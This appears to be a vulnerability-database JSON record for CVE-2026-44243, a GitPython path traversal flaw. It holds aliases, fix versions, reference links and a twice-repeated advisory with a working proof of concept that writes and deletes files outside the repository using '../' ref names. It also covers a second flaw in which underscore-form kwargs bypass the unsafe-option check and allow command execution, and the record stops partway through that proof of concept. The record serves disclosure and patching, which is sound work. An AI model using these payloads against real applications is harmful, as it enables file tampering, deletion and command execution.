{"id":"CVE-2026-44243","aliases":["CLSA-2026-1789454911","DEBIAN-CVE-2026-44243","EUVD-2026-28413","GHSA-7545-fcxq-7j24","OESA-2026-2306","OESA-2026-2307","OESA-2026-2308","PYSEC-2026-2162","ROOT-APP-PYPI-CVE-2026-44243","SUSE-SU-2026:21813-1","SUSE-SU-2026:4072-1","UBUNTU-CVE-2026-44243","USN-8303-1","openSUSE-SU-2026:10758-1","openSUSE-SU-2026:20777-1"],"status":"published","title":"GitPython: Path traversal in GitPython reference APIs allows arbitrary file write and delete outside the repository","description":"GitPython is a python library used to interact with Git repositories. Prior to version 3.1.48, a vulnerability in GitPython allows attackers who can supply a crafted reference path to an application using GitPython to write, overwrite, move, or delete files outside the repository’s .git directory via insufficient validation of reference paths in reference creation, rename, and delete operations. This issue has been patched in version 3.1.48.","severity":{"version":"4.0","score":7.8,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:P","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.00419,"percentile":0.36521,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-22"],"published":"2026-05-06T19:38:48Z","modified":"2026-10-31T14:00:08Z","fixes":[{"ecosystem":"PyPI","package":"gitpython","fixed_in":["3.1.48"],"sources":["ghsa","osv"]},{"ecosystem":"Debian:12","package":"python-git","fixed_in":["3.1.30-1+deb12u3"],"sources":["osv"]},{"ecosystem":"Debian:13","package":"python-git","fixed_in":["3.1.44-1+deb13u1"],"sources":["osv"]},{"ecosystem":"Debian:14","package":"python-git","fixed_in":["3.1.50-1"],"sources":["osv"]},{"ecosystem":"Root:PyPI","package":"GitPython","fixed_in":["3.1.47+aikido.8","3.1.46+aikido.5","3.1.47+aikido.9","3.1.46+aikido.12","3.1.47+aikido.1","3.1.46+aikido.11","3.1.46+aikido.13","3.1.47+aikido.2","3.1.47+aikido.3","3.1.46+aikido.6","3.1.46+aikido.7","3.1.47+aikido.4","3.1.47+aikido.5","3.1.46+aikido.8","3.1.47+aikido.6","3.1.46+aikido.9","3.1.47+aikido.7","3.1.46+aikido.10"],"sources":["osv"]},{"ecosystem":"Ubuntu:Pro:14.04:LTS","package":"python-git","fixed_in":["0.3.2~RC1-3ubuntu0.1~esm3"],"sources":["osv"]},{"ecosystem":"Ubuntu:Pro:16.04:LTS","package":"python-git","fixed_in":["1.0.1+git137-gc8b8379-2.1ubuntu0.1~esm4"],"sources":["osv"]},{"ecosystem":"Ubuntu:Pro:18.04:LTS","package":"python-git","fixed_in":["2.1.8-1ubuntu0.1~esm4"],"sources":["osv"]},{"ecosystem":"Ubuntu:Pro:20.04:LTS","package":"python-git","fixed_in":["3.0.7-1ubuntu0.1~esm4"],"sources":["osv"]},{"ecosystem":"Ubuntu:Pro:22.04:LTS","package":"python-git","fixed_in":["3.1.24-1ubuntu0.1~esm3"],"sources":["osv"]},{"ecosystem":"Ubuntu:Pro:24.04:LTS","package":"python-git","fixed_in":["3.1.37-3ubuntu0.1~esm2"],"sources":["osv"]},{"ecosystem":"Ubuntu:Pro:26.04:LTS","package":"python-git","fixed_in":["3.1.46-1ubuntu0.1~esm1"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"gitpython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"3.1.47"},{"fixed":"3.1.48"}]}]},{"source":"osv","ecosystem":"TuxCare:PyPI","package":"gitpython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.1.31"},{"fixed":"3.1.31.post13+tuxcare"}]}],"versions":["3.1.31","3.1.31.post1+tuxcare","3.1.31.post10+tuxcare","3.1.31.post11+tuxcare","3.1.31.post12+tuxcare","3.1.31.post2+tuxcare","3.1.31.post3+tuxcare","3.1.31.post4+tuxcare","3.1.31.post5+tuxcare","3.1.31.post6+tuxcare","3.1.31.post7+tuxcare","3.1.31.post8+tuxcare","3.1.31.post9+tuxcare"],"bundled":2},{"source":"osv","ecosystem":"Debian:12","package":"python-git","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.30-1+deb12u3"}]}],"versions":["3.1.30-1","3.1.30-1+deb12u2"]},{"source":"osv","ecosystem":"Debian:13","package":"python-git","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.44-1+deb13u1"}]}],"versions":["3.1.44-1"]},{"source":"osv","ecosystem":"Debian:14","package":"python-git","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.50-1"}]}],"versions":["3.1.44-1","3.1.45-1","3.1.46-1"]},{"source":"osv","ecosystem":"PyPI","package":"gitpython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.48"}]}],"versions":["0.1.7","0.2.0-beta1","0.3.0-beta1","0.3.0-beta2","0.3.1-beta2","0.3.2","0.3.2.1","0.3.2.RC1","0.3.3","0.3.4","0.3.5","0.3.6","0.3.7","1.0.0","1.0.1","1.0.2","2.0.0","2.0.1","2.0.2","2.0.3","2.0.4","2.0.5","2.0.6","2.0.7","2.0.8","2.0.9","2.0.9.dev0","2.0.9.dev1","2.1.0","2.1.1","2.1.10","2.1.11","2.1.12","2.1.13","2.1.14","2.1.15","2.1.2","2.1.3","2.1.4","2.1.5","2.1.6","2.1.7","2.1.8","2.1.9","3.0.0","3.0.1","3.0.2","3.0.3","3.0.4","3.0.5","3.0.6","3.0.7","3.0.8","3.0.9","3.1.0","3.1.1","3.1.10","3.1.11","3.1.12","3.1.13","3.1.14","3.1.15","3.1.16","3.1.17","3.1.18","3.1.19","3.1.2","3.1.20","3.1.22","3.1.23","3.1.24","3.1.25","3.1.26","3.1.27","3.1.28","3.1.29","3.1.3","3.1.30","3.1.31","3.1.32","3.1.33","3.1.34","3.1.35","3.1.36","3.1.37","3.1.38","3.1.4","3.1.40","3.1.41","3.1.42","3.1.43","3.1.44","3.1.45","3.1.46","3.1.47","3.1.5","3.1.6","3.1.7","3.1.8","3.1.9"]},{"source":"osv","ecosystem":"openEuler:24.03-LTS","package":"python-GitPython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.49-1.oe2403"}]}],"bundled":3},{"source":"osv","ecosystem":"openEuler:24.03-LTS-SP1","package":"python-GitPython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.49-1.oe2403sp1"}]}],"bundled":3},{"source":"osv","ecosystem":"openEuler:24.03-LTS-SP3","package":"python-GitPython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.49-1.oe2403sp3"}]}],"bundled":3},{"source":"osv","ecosystem":"PyPI","package":"gitpython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced"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Advisory","advisory","web","evidence"]},{"url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.48","tags":["x_refsource_MISC","Patch","Release Notes","web","fix"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44243","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-7545-fcxq-7j24"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/44xxx/CVE-2026-44243.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-44243","tags":["advisory"]},{"url":"https://github.com/gitpython-developers/GitPython","tags":["package"]},{"url":"https://www.openeuler.org/zh/security/security-bulletins/detail/?id=openEuler-SA-2026-2306","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42215","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44244","tags":["advisory"]},{"url":"https://www.openeuler.org/zh/security/security-bulletins/detail/?id=openEuler-SA-2026-2307","tags":["advisory"]},{"url":"https://www.openeuler.org/zh/security/security-bulletins/detail/?id=openEuler-SA-2026-2308","tags":["advisory"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-202621813-1/","tags":["advisory"]},{"url":"https://bugzilla.suse.com/1264604","tags":["report"]},{"url":"https://bugzilla.suse.com/1264605","tags":["report"]},{"url":"https://bugzilla.suse.com/1264606","tags":["report"]},{"url":"https://bugzilla.suse.com/1264608","tags":["report"]},{"url":"https://www.suse.com/security/cve/CVE-2026-42215","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-42284","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-44243","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-44244","tags":["web"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-20264072-1/","tags":["advisory"]},{"url":"https://bugzilla.suse.com/1273357","tags":["report"]},{"url":"https://bugzilla.suse.com/1273358","tags":["report"]},{"url":"https://bugzilla.suse.com/1273359","tags":["report"]},{"url":"https://bugzilla.suse.com/1273364","tags":["report"]},{"url":"https://bugzilla.suse.com/1273414","tags":["report"]},{"url":"https://bugzilla.suse.com/1273498","tags":["report"]},{"url":"https://bugzilla.suse.com/1275745","tags":["report"]},{"url":"https://bugzilla.suse.com/1275746","tags":["report"]},{"url":"https://bugzilla.suse.com/1275747","tags":["report"]},{"url":"https://bugzilla.suse.com/1275748","tags":["report"]},{"url":"https://bugzilla.suse.com/1275749","tags":["report"]},{"url":"https://bugzilla.suse.com/1275750","tags":["report"]},{"url":"https://bugzilla.suse.com/1275751","tags":["report"]},{"url":"https://bugzilla.suse.com/1275752","tags":["report"]},{"url":"https://bugzilla.suse.com/1275753","tags":["report"]},{"url":"https://bugzilla.suse.com/1275754","tags":["report"]},{"url":"https://bugzilla.suse.com/1275755","tags":["report"]},{"url":"https://bugzilla.suse.com/1275756","tags":["report"]},{"url":"https://bugzilla.suse.com/1275757","tags":["report"]},{"url":"https://bugzilla.suse.com/1276430","tags":["report"]},{"url":"https://bugzilla.suse.com/1276431","tags":["report"]},{"url":"https://bugzilla.suse.com/1276432","tags":["report"]},{"url":"https://bugzilla.suse.com/1276433","tags":["report"]},{"url":"https://bugzilla.suse.com/1276434","tags":["report"]},{"url":"https://www.suse.com/security/cve/CVE-2026-67322","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-67323","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-67325","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-67326","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-69097","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73619","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73620","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73621","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73622","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73623","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73624","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73625","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-76217","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-76218","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-76219","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-76220","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-76221","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-76222","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-78675","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-78676","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-78677","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-78678","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-78679","tags":["web"]},{"url":"https://ubuntu.com/security/CVE-2026-44243","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-44243","tags":["report"]},{"url":"https://ubuntu.com/security/notices/USN-8303-1","tags":["advisory"]},{"url":"https://ubuntu.com/security/CVE-2023-41040","tags":["report"]},{"url":"https://ubuntu.com/security/CVE-2026-42215","tags":["report"]},{"url":"https://ubuntu.com/security/CVE-2026-42284","tags":["report"]},{"url":"https://ubuntu.com/security/CVE-2026-44244","tags":["report"]},{"url":"","tags":["advisory"]}],"sources":{"cve":[{"id":"CVE-2026-44243","title":"GitPython: Path traversal in GitPython reference APIs allows arbitrary file write and delete outside the repository","description":"GitPython is a python library used to interact with Git repositories. Prior to version 3.1.48, a vulnerability in GitPython allows attackers who can supply a crafted reference path to an application using GitPython to write, overwrite, move, or delete files outside the repository’s .git directory via insufficient validation of reference paths in reference creation, rename, and delete operations. This issue has been patched in version 3.1.48.","status":"published","published":"2026-05-07T18:22:53.622Z","modified":"2026-05-07T19:12:49.856Z","cvss":[{"version":"4.0","score":7.8,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:P","level":"high","assessor":"cna"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T13:43:00.288193Z"}],"euvd":[{"id":"EUVD-2026-28413","description":"GitPython is a python library used to interact with Git repositories. Prior to version 3.1.48, a vulnerability in GitPython allows attackers who can supply a crafted reference path to an application using GitPython to write, overwrite, move, or delete files outside the repository’s .git directory via insufficient validation of reference paths in reference creation, rename, and delete operations. This issue has been patched in version 3.1.48.","status":"published","published":"2026-05-07T18:22:53Z","modified":"2026-05-07T19:12:49Z","cvss":[{"version":"4.0","score":7.8,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:P","level":"high"}],"updated_at":"2026-11-02T19:05:14.902845Z"}],"ghsa":[{"id":"GHSA-7545-fcxq-7j24","title":"GitPython reference APIs has a path traversal vulnerability that allows arbitrary file write and delete outside the repository","description":"## 🧾 Summary\n\nA vulnerability in **GitPython** allows **attackers who can supply a crafted reference path to an application using GitPython** to **write, overwrite, move, or delete files outside the repository’s `.git` directory** via **insufficient validation of reference paths in reference creation, rename, and delete operations**.\n\n---\n\n## 📦 Affected Versions\n\n* Affected: `\u003c= 3.1.46` and current `main` (`3.1.47` in local checkout)\n\n---\n\n## 🧠 Details\n\n### Vulnerability Type\n\n**Path Traversal leading to Arbitrary File Write and Arbitrary File Deletion**\n\n---\n\n### Root Cause\n\nReference paths are validated when they are resolved for reading, but are not consistently validated before filesystem write, rename, and delete operations.\n\n`SymbolicReference._check_ref_name_valid()` rejects traversal sequences such as `..`, but `SymbolicReference.create`, `Reference.create`, `SymbolicReference.set_reference`, `SymbolicReference.rename`, and `SymbolicReference.delete` still construct filesystem paths from attacker-controlled ref names without enforcing repository boundaries.\n\n---\n\n### Affected Code\n\n```python\ndef set_reference(self, ref, logmsg=None):\n    ...\n    fpath = self.abspath\n    assure_directory_exists(fpath, is_file=True)\n\n    lfd = LockedFD(fpath)\n    fd = lfd.open(write=True, stream=True)\n    ...\n```\n\n```python\n@classmethod\ndef delete(cls, repo, path):\n    full_ref_path = cls.to_full_path(path)\n    abs_path = os.path.join(repo.common_dir, full_ref_path)\n    if os.path.exists(abs_path):\n        os.remove(abs_path)\n```\n\n```python\ndef rename(self, new_path, force=False):\n    new_path = self.to_full_path(new_path)\n    new_abs_path = os.path.join(_git_dir(self.repo, new_path), new_path)\n    cur_abs_path = os.path.join(_git_dir(self.repo, self.path), self.path)\n    ...\n    os.rename(cur_abs_path, new_abs_path)\n```\n\n---\n\n### Attack Vector\n\n**Local attack through application-controlled input passed into GitPython reference APIs**\n\n### Authentication Required\n\n**None at the library boundary. In practice, exploitation requires the ability to influence ref names supplied by the consuming application.**\n\n---\n\n## 🧪 Proof of Concept\n\n### Setup\n\n```bash\npip install GitPython==3.1.46\npython poc.py\n```\n\n---\n\n### Exploit\n\n```python\nimport shutil\nfrom pathlib import Path\n\nfrom git import Repo\nfrom git.refs.reference import Reference\nfrom git.refs.symbolic import SymbolicReference\n\nbase = Path(\"gp-ghsa-poc\").resolve()\nif base.exists():\n    shutil.rmtree(base)\n\nrepo_dir = base / \"repo\"\nrepo = Repo.init(repo_dir)\n\n(repo_dir / \"a.txt\").write_text(\"init\\n\", encoding=\"utf-8\")\nrepo.index.add([\"a.txt\"])\nrepo.index.commit(\"init\")\n\noutside_write = base / \"outside_write.txt\"\noutside_delete = base / \"outside_delete.txt\"\noutside_delete.write_text(\"DELETE ME\\n\", encoding=\"utf-8\")\n\nprint(f\"repo_dir       = {repo_dir}\")\nprint(f\"outside_write  = {outside_write}\")\nprint(f\"outside_delete = {outside_delete}\")\n\nReference.create(repo, \"../../../outside_write.txt\", \"HEAD\")\n\nprint(\"\\n[+] outside_write exists:\", outside_write.exists())\nif outside_write.exists():\n    print(\"[+] outside_write content:\")\n    print(outside_write.read_text(encoding=\"utf-8\"))\n\nSymbolicReference.delete(repo, \"../../../outside_delete.txt\")\n\nprint(\"\\n[+] outside_delete exists after delete:\", outside_delete.exists())\n```\n\n---\n\n### Result\n\n```text\nrepo_dir       = ...\\gp-ghsa-poc\\repo\noutside_write  = ...\\gp-ghsa-poc\\outside_write.txt\noutside_delete = ...\\gp-ghsa-poc\\outside_delete.txt\n\n[+] outside_write exists: True\n[+] outside_write content:\n\u003ccurrent HEAD commit SHA\u003e\n\n[+] outside_delete exists after delete: False\n```\n\n---\n\n## 💥 Impact\n\n### What can an attacker do?\n\n* Create or overwrite files outside the repository metadata directory\n* Delete attacker-chosen files reachable from the process permissions\n* Corrupt application state or configuration files\n* Cause denial of service by deleting or overwriting important files\n\n---\n\n### Security Impact\n\n* **Confidentiality:** Low\n* **Integrity:** High\n* **Availability:** High\n\n---\n\n### Who is affected?\n\n* Applications that expose GitPython reference operations to user-controlled input\n* Git automation services, repository management backends, CI/CD helpers, and developer platforms\n* Multi-user environments where one user can influence ref names processed on behalf of another workflow\n\n---\n\n## 🛠️ Mitigation / Fix\n\n### Recommended Fix\n\n```python\ndef _validate_ref_write_path(repo, path, *, for_git_dir=False):\n    SymbolicReference._check_ref_name_valid(path)\n\n    base = Path(repo.git_dir if for_git_dir else repo.common_dir).resolve()\n    target = (base / path).resolve()\n\n    if base not in [target, *target.parents]:\n        raise ValueError(f\"Reference path escapes repository boundary: {path}\")\n\n    return str(target)\n```\n\n```python\nfull_ref_path = cls.to_full_path(path)\n_validate_ref_write_path(repo, full_ref_path)\n```","status":"published","published":"2026-05-06T19:38:48Z","modified":"2026-05-08T21:52:17Z","cvss":[{"version":"4.0","score":7.8,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:P","level":"high"},{"version":"3.1","score":7.1,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H","level":"high"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T14:40:05.816188Z"}],"nvd":[{"id":"CVE-2026-44243","description":"GitPython is a python library used to interact with Git repositories. Prior to version 3.1.48, a vulnerability in GitPython allows attackers who can supply a crafted reference path to an application using GitPython to write, overwrite, move, or delete files outside the repository’s .git directory via insufficient validation of reference paths in reference creation, rename, and delete operations. This issue has been patched in version 3.1.48.","status":"published","published":"2026-05-07T19:16:02.227Z","modified":"2026-06-17T10:50:24.223Z","cvss":[{"version":"4.0","score":7.8,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high","assessor":"secondary"},{"version":"3.1","score":7.1,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H","level":"high","assessor":"primary"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T14:12:17.842772Z"}],"osv":[{"id":"CVE-2026-44243","title":"GitPython: Path traversal in GitPython reference APIs allows arbitrary file write and delete outside the repository","description":"GitPython is a python library used to interact with Git repositories. Prior to version 3.1.48, a vulnerability in GitPython allows attackers who can supply a crafted reference path to an application using GitPython to write, overwrite, move, or delete files outside the repository’s .git directory via insufficient validation of reference paths in reference creation, rename, and delete operations. This issue has been patched in version 3.1.48.","status":"published","published":"2026-05-07T18:22:53.622Z","modified":"2026-10-28T02:30:49.870415829Z","cvss":[{"version":"4.0","score":7.8,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:P","level":"high"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T15:45:04.820169Z"},{"id":"DEBIAN-CVE-2026-44243","description":"GitPython is a python library used to interact with Git repositories. Prior to version 3.1.48, a vulnerability in GitPython allows attackers who can supply a crafted reference path to an application using GitPython to write, overwrite, move, or delete files outside the repository’s .git directory via insufficient validation of reference paths in reference creation, rename, and delete operations. This issue has been patched in version 3.1.48.","status":"published","published":"2026-05-07T19:16:02.227Z","modified":"2026-10-31T14:00:08.190435341Z","cvss":[{"version":"3.1","score":7.1,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T15:45:55.669088Z"},{"id":"GHSA-7545-fcxq-7j24","title":"GitPython reference APIs has a path traversal vulnerability that allows arbitrary file write and delete outside the repository","description":"## 🧾 Summary\n\nA vulnerability in **GitPython** allows **attackers who can supply a crafted reference path to an application using GitPython** to **write, overwrite, move, or delete files outside the repository’s `.git` directory** via **insufficient validation of reference paths in reference creation, rename, and delete operations**.\n\n---\n\n## 📦 Affected Versions\n\n* Affected: `\u003c= 3.1.46` and current `main` (`3.1.47` in local checkout)\n\n---\n\n## 🧠 Details\n\n### Vulnerability Type\n\n**Path Traversal leading to Arbitrary File Write and Arbitrary File Deletion**\n\n---\n\n### Root Cause\n\nReference paths are validated when they are resolved for reading, but are not consistently validated before filesystem write, rename, and delete operations.\n\n`SymbolicReference._check_ref_name_valid()` rejects traversal sequences such as `..`, but `SymbolicReference.create`, `Reference.create`, `SymbolicReference.set_reference`, `SymbolicReference.rename`, and `SymbolicReference.delete` still construct filesystem paths from attacker-controlled ref names without enforcing repository boundaries.\n\n---\n\n### Affected Code\n\n```python\ndef set_reference(self, ref, logmsg=None):\n    ...\n    fpath = self.abspath\n    assure_directory_exists(fpath, is_file=True)\n\n    lfd = LockedFD(fpath)\n    fd = lfd.open(write=True, stream=True)\n    ...\n```\n\n```python\n@classmethod\ndef delete(cls, repo, path):\n    full_ref_path = cls.to_full_path(path)\n    abs_path = os.path.join(repo.common_dir, full_ref_path)\n    if os.path.exists(abs_path):\n        os.remove(abs_path)\n```\n\n```python\ndef rename(self, new_path, force=False):\n    new_path = self.to_full_path(new_path)\n    new_abs_path = os.path.join(_git_dir(self.repo, new_path), new_path)\n    cur_abs_path = os.path.join(_git_dir(self.repo, self.path), self.path)\n    ...\n    os.rename(cur_abs_path, new_abs_path)\n```\n\n---\n\n### Attack Vector\n\n**Local attack through application-controlled input passed into GitPython reference APIs**\n\n### Authentication Required\n\n**None at the library boundary. In practice, exploitation requires the ability to influence ref names supplied by the consuming application.**\n\n---\n\n## 🧪 Proof of Concept\n\n### Setup\n\n```bash\npip install GitPython==3.1.46\npython poc.py\n```\n\n---\n\n### Exploit\n\n```python\nimport shutil\nfrom pathlib import Path\n\nfrom git import Repo\nfrom git.refs.reference import Reference\nfrom git.refs.symbolic import SymbolicReference\n\nbase = Path(\"gp-ghsa-poc\").resolve()\nif base.exists():\n    shutil.rmtree(base)\n\nrepo_dir = base / \"repo\"\nrepo = Repo.init(repo_dir)\n\n(repo_dir / \"a.txt\").write_text(\"init\\n\", encoding=\"utf-8\")\nrepo.index.add([\"a.txt\"])\nrepo.index.commit(\"init\")\n\noutside_write = base / \"outside_write.txt\"\noutside_delete = base / \"outside_delete.txt\"\noutside_delete.write_text(\"DELETE ME\\n\", encoding=\"utf-8\")\n\nprint(f\"repo_dir       = {repo_dir}\")\nprint(f\"outside_write  = {outside_write}\")\nprint(f\"outside_delete = {outside_delete}\")\n\nReference.create(repo, \"../../../outside_write.txt\", \"HEAD\")\n\nprint(\"\\n[+] outside_write exists:\", outside_write.exists())\nif outside_write.exists():\n    print(\"[+] outside_write content:\")\n    print(outside_write.read_text(encoding=\"utf-8\"))\n\nSymbolicReference.delete(repo, \"../../../outside_delete.txt\")\n\nprint(\"\\n[+] outside_delete exists after delete:\", outside_delete.exists())\n```\n\n---\n\n### Result\n\n```text\nrepo_dir       = ...\\gp-ghsa-poc\\repo\noutside_write  = ...\\gp-ghsa-poc\\outside_write.txt\noutside_delete = ...\\gp-ghsa-poc\\outside_delete.txt\n\n[+] outside_write exists: True\n[+] outside_write content:\n\u003ccurrent HEAD commit SHA\u003e\n\n[+] outside_delete exists after delete: False\n```\n\n---\n\n## 💥 Impact\n\n### What can an attacker do?\n\n* Create or overwrite files outside the repository metadata directory\n* Delete attacker-chosen files reachable from the process permissions\n* Corrupt application state or configuration files\n* Cause denial of service by deleting or overwriting important files\n\n---\n\n### Security Impact\n\n* **Confidentiality:** Low\n* **Integrity:** High\n* **Availability:** High\n\n---\n\n### Who is affected?\n\n* Applications that expose GitPython reference operations to user-controlled input\n* Git automation services, repository management backends, CI/CD helpers, and developer platforms\n* Multi-user environments where one user can influence ref names processed on behalf of another workflow\n\n---\n\n## 🛠️ Mitigation / Fix\n\n### Recommended Fix\n\n```python\ndef _validate_ref_write_path(repo, path, *, for_git_dir=False):\n    SymbolicReference._check_ref_name_valid(path)\n\n    base = Path(repo.git_dir if for_git_dir else repo.common_dir).resolve()\n    target = (base / path).resolve()\n\n    if base not in [target, *target.parents]:\n        raise ValueError(f\"Reference path escapes repository boundary: {path}\")\n\n    return str(target)\n```\n\n```python\nfull_ref_path = cls.to_full_path(path)\n_validate_ref_write_path(repo, full_ref_path)\n```","status":"published","published":"2026-05-06T19:38:48Z","modified":"2026-09-10T03:50:45.903378498Z","cvss":[{"version":"3.1","score":7.1,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H","level":"high"},{"version":"4.0","score":7.8,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:P","level":"high"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T15:46:40.657155Z"},{"id":"OESA-2026-2306","title":"python-GitPython security update","description":"GitPython is a python library used to interact with git repositories, high-level like git-porcelain, or low-level like git-plumbing.\r\n\r\nSecurity Fix(es):\n\n### Summary\nGitPython blocks dangerous Git options such as `--upload-pack` and `--receive-pack` by default, but the equivalent Python kwargs `upload_pack` and `receive_pack` bypass that check. If an application passes attacker-controlled kwargs into `Repo.clone_from()`, `Remote.fetch()`, `Remote.pull()`, or `Remote.push()`, this leads to arbitrary command execution even when `allow_unsafe_options` is left at its default value of `False`.\n\n### Details\nGitPython explicitly treats helper-command options as unsafe because they can be used to execute arbitrary commands:\n\n- `git/repo/base.py:145-153` marks clone options such as `--upload-pack`, `-u`, `--config`, and `-c` as unsafe.\n- `git/remote.py:535-548` marks fetch/pull/push options such as `--upload-pack`, `--receive-pack`, and `--exec` as unsafe.\n\nThe vulnerable API paths check the raw kwarg names before they\u0026apos;re its normalized into command-line flags:\n\n- `Repo.clone_from()` checks `list(kwargs.keys())` in `git/repo/base.py:1387-1390`\n- `Remote.fetch()` checks `list(kwargs.keys())` in `git/remote.py:1070-1071`\n- `Remote.pull()` checks `list(kwargs.keys())` in `git/remote.py:1124-1125`\n- `Remote.push()` checks `list(kwargs.keys())` in `git/remote.py:1197-1198`\n\nThat validation is performed by `Git.check_unsafe_options()` in `git/cmd.py:948-961`. The validator correctly blocks option names such as `upload-pack`, `receive-pack`, and `exec`.\n\nLater, GitPython converts Python kwargs into Git command-line flags in `Git.transform_kwarg()` at `git/cmd.py:1471-1484`. During that step, underscore-form kwargs are dashified:\n\n- `upload_pack=...` becomes `--upload-pack=...`\n- `receive_pack=...` becomes `--receive-pack=...`\n\nBecause the unsafe-option check runs before this normalization, underscore-form kwargs bypass the safety check even though they become the exact dangerous Git flags that the code is supposed to reject.\n\nIn practice:\n\n- `remote.fetch(**{\u0026quot;upload-pack\u0026quot;: helper})` is blocked with `UnsafeOptionError`\n- `remote.fetch(upload_pack=helper)` is allowed and reaches helper execution\n\nThe same bypass works for:\n\n```python\nRepo.clone_from(origin, out, upload_pack=helper)\nrepo.remote(\u0026quot;origin\u0026quot;).fetch(upload_pack=helper)\nrepo.remote(\u0026quot;origin\u0026quot;).pull(upload_pack=helper)\nrepo.remote(\u0026quot;origin\u0026quot;).push(receive_pack=helper)\n```\n\nThis does not appear to affect every unsafe option. For example, `exec=` is already rejected because the raw kwarg name `exec` matches the blocked option name before normalization.\n\nExisting tests cover the hyphenated form, not the vulnerable underscore form. For example:\n\n- `test/test_clone.py:129-136` checks `{\u0026quot;upload-pack\u0026quot;: ...}`\n- `test/test_remote.py:830-833` checks `{\u0026quot;upload-pack\u0026quot;: ...}`\n- `test/test_remote.py:968-975` checks `{\u0026quot;receive-pack\u0026quot;: ...}`\n\nThose tests correctly confirm the literal Git option names are blocked, but they do not exercise the normal Python kwarg spelling that bypasses the guard.\n\n### PoC\n1. Create and activate a virtual environment in the repository root:\n\n```bash\npython3 -m venv .venv-sec\n.venv-sec/bin/pip install setuptools gitdb\nsource ./.venv-sec/bin/activate\n```\n\n2. make a new python file and put the following in there, then run 